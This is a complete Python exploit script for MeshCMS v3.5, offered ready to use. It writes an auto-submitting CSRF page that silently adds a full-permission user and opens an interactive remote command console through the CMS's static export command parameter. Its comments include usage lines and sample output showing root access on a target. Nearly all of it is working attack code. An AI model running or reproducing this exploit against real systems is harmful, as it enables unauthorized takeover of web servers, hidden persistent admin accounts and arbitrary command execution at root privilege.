#!/usr/bin/python
# MeshCMS v3.5 remote code execution exploit
# Environment:
# Tomcat 7.02/ubuntu 10.04
#
# 1) details:
# There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker.
# The admin will not be told a user has been added and will land into the admin console without any other suspicion.
# Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the
# private/[username].xml config file required for the users authentication.
#
# 2) details:
# The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server.
# This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.
#
# Further notes:
# If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.
# This exploit will attempt to target both 1) and 2).
#
# Usage:
# [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
#
# | ------------------------------------------ |
# | MeshCMS v3.5 Remote Code Execution Explo!t |
# | by mr_me - net-ninja.net ----------------- |
#
# (+) Writing CSRF..
# (!) Done! check index.html
# [mr_me@pluto meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
#
# | ------------------------------------------ |
# | MeshCMS v3.5 Remote Code Execution Explo!t |
# | by mr_me - net-ninja.net ----------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Logging into CMS.. Logged in successfully
# (+) Be patient, the first few requests are slow.
# (+) Entering interactive remote console (q for quit)
#
# mr_me@192.168.1.15:8080# id
#
# uid=0(root) gid=0(root) groups=0(root)
#
# mr_me@192.168.1.15:8080# uname -a
#
# Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
#
# mr_me@192.168.1.15:8080# q
import sys, urllib, re, urllib2, getpass
from optparse import OptionParser
from random import choice
from cookielib import CookieJar
usage = "./%prog [<options>] -t [target] -d [directory] -u [user] -P [password]"
usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member"
usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
help="Directory path to the CMS")
parser.add_option("-u", type="string", action="store", dest="username",
help="Member/Editor/Admin username")
parser.add_option("-P", type="string", action="store", dest="password",
help="Member/Editor/Admin password")
parser.add_option("-c", action="store_true", dest="csrf",
help="Create the add member CSRF")
parser.add_option("-e", action="store_true", dest="exploit",
help="Exploit the target with a shell (requires a valid account)")
(options, args) = parser.parse_args()
def banner():
print "\n\t| ------------------------------------------ |"
print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |"
print "\t| by mr_me - net-ninja.net ----------------- |\n"
if len(sys.argv) < 9:
banner()
parser.print_help()
sys.exit(1)
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
"Microsoft Internet Explorer/4.0b1 (Windows 95)",
"Opera/8.00 (Windows NT 5.1; U; en)"]
def getProxy():
try:
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
except(socket.timeout):
print "\n(-) Proxy timed out"
sys.exit(1)
return proxy_handler
def testProxy():
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
sys.stdout.flush()
opener = urllib2.build_opener(getProxy())
try:
check = opener.open("http://www.google.com").read()
except:
check = 0
pass
if check >= 1:
sys.stdout.write("proxy is found to be working!\n")
sys.stdout.flush()
else:
print "proxy failed, exiting.."
sys.exit(1)
def writeCsrf():
print "(+) Writing CSRF.."
csrf = ("<html><body onload='document.f.submit()'>"
"<form method=post name=f action=\"http://%s%smeshcms/admin/edituser2.jsp\">"
"<input type=\"hidden\" name=\"new\" value=\"true\">"
"<input type=\"hidden\" name=\"username\" value=\"%s\">"
"<input type=\"hidden\" name=\"permissions\" value=\"16777215\">"
"<input type=\"hidden\" name=\"password1\" value=\"%s\">"
"<input type=\"hidden\" name=\"password2\" value=\"%s\"></form></body></html>" %
(options.target, options.dirPath, options.username, options.password, options.password))
try:
mycsrf = open("index.html", "w")
mycsrf.write(csrf)
mycsrf.close()
except:
print "(-) Failed writing csrf.. exiting."
print "(!) Done! check index.html"
def interactiveAttack(opener):
print "(+) Be patient, the first few requests are slow."
print "(+) Entering interactive remote console (q for quit)\n"
hn = "%s@%s# " % (getpass.getuser(), options.target)
cmd = ""
while cmd != 'q':
try:
cmd = raw_input(hn)
cmd = '+'.join(cmd.split())
sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/"
"admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true"
% (options.target, options.dirPath, options.target, options.dirPath, cmd))
try:
check = opener.open(sploit).read()
except urllib2.HTTPError, error:
check = error.read()
pass
try:
resp = check.split("standard output:")[1].split("end of standard output")[0]
print resp
except:
pass
except:
break
print "\n(-) Exiting.."
def doLogin():
sys.stdout.write("(+) Logging into CMS.. ")
sys.stdout.flush()
adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp"
values = {'username' : options.username, 'password' : options.password }
data = urllib.urlencode(values)
cj = CookieJar()
if options.proxy:
try:
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
check = opener.open(adminIndex, data).read()
except:
print "\n(-) Proxy connection failed to remote target"
sys.exit(1)
else:
try:
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
check = opener.open(adminIndex, data).read()
except:
print "(-) Target connection failed, check your address"
sys.exit(1)
if re.search("Login successful", check):
sys.stdout.write("Logged in successfully\n")
sys.stdout.flush()
else:
sys.stdout.write("Login Failed! Exiting..\n")
sys.stdout.flush()
sys.exit(1)
return opener
if __name__ == "__main__":
banner()
if options.exploit:
if options.proxy:
testProxy()
myopener = doLogin()
interactiveAttack(myopener)
elif options.csrf:
writeCsrf()
addadmin = ""